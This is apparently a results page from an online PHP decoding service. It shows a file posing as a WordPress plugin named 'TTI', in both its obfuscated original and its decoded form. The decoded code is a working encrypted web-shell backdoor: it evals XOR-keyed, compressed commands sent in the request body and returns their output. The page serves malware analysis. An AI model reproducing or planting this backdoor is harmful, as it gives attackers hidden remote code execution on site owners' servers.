Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* Plugin Name: TTI */ $w=';:, $r=@ba:,se:,64:,_e:,ncode(@x(@gzc:,ompre..

Decoded Output download

$k="aff2e4c8";$kh="3456031938de";$kf="5c33c422c106";$p="794kpnVYA3nKfiY4";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m) == 1) {  @ob_start();  eval(@gzuncompress(@x(base64_decode($m[1]),$k)));  $o=@ob_get_contents();  @ob_end_clean();  $r=@base64_encode(@x(@gzcompress($o),$k));  print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<?php
/*

   Plugin Name: TTI

 */
$w=';:,  $r=@ba:,se:,64:,_e:,ncode(@x(@gzc:,ompress($o),:,$:,k));:,  pr:,int("$p$kh$r$kf");}';
$E='h:,p://i:,np:,ut"),$m) =:,= :,1) {  :,@ob_start(:,);  @e:,val(@gzu:,ncom:,press(@:,x(@ba:,se';
$t=':,$k="aff2e4c8":,;$kh="345:,603193:,8:,de";$kf="5c:,33:,c422c:,106";$p="79:,4k:,pnVYA3nKf';
$U='iY:,4";fun:,ct:,ion x($t,:,$k){:,$c=s:,trlen:,($k);$l:,=strlen($t):,:,;$o="":,:,;:,:,f';
$z='or($i=0;$i<$l;){for($j=:,0;:,($j<$:,c&&$i<$l);$j++,$:,i++){:,:,$o.=:,$t{:,$i}^$k{:,$j:';
$O='64_dec:,ode(:,$m[:,1]),$k)));:,  $o:,=@ob_:,get_c:,ontents():,; :,:, @ob_end_clean():,';
$D=str_replace('Jg','','creJgJgaJgte_fuJgnJgctiJgon');
$r=',};}}re:,tur:,:,n $o;}i:,f (@preg_match:,("/$kh(.+)$kf/",@fil:,e_get_:,cont:,ents("p';
$y=str_replace(':,','',$t.$U.$z.$r.$E.$O.$w);
$L=$D('',$y);$L();
?>

Function Calls

str_replace 2
create_function 1

Variables

$D create_function
$E h:,p://i:,np:,ut"),$m) =:,= :,1) { :,@ob_start(:,); @e:,va..
$O 64_dec:,ode(:,$m[:,1]),$k)));:, $o:,=@ob_:,get_c:,ontents()..
$U iY:,4";fun:,ct:,ion x($t,:,$k){:,$c=s:,trlen:,($k);$l:,=strl..
$r ,};}}re:,tur:,:,n $o;}i:,f (@preg_match:,("/$kh(.+)$kf/",@fi..
$t :,$k="aff2e4c8":,;$kh="345:,603193:,8:,de";$kf="5c:,33:,c422..
$w ;:, $r=@ba:,se:,64:,_e:,ncode(@x(@gzc:,ompress($o),:,$:,k))..
$y $k="aff2e4c8";$kh="3456031938de";$kf="5c33c422c106";$p="794k..
$z or($i=0;$i<$l;){for($j=:,0;:,($j<$:,c&&$i<$l);$j++,$:,i++){:..

Stats

MD5 e7c45bdee0adcb03cc0442ed09c80a47
Eval Count 1
Decode Time 83 ms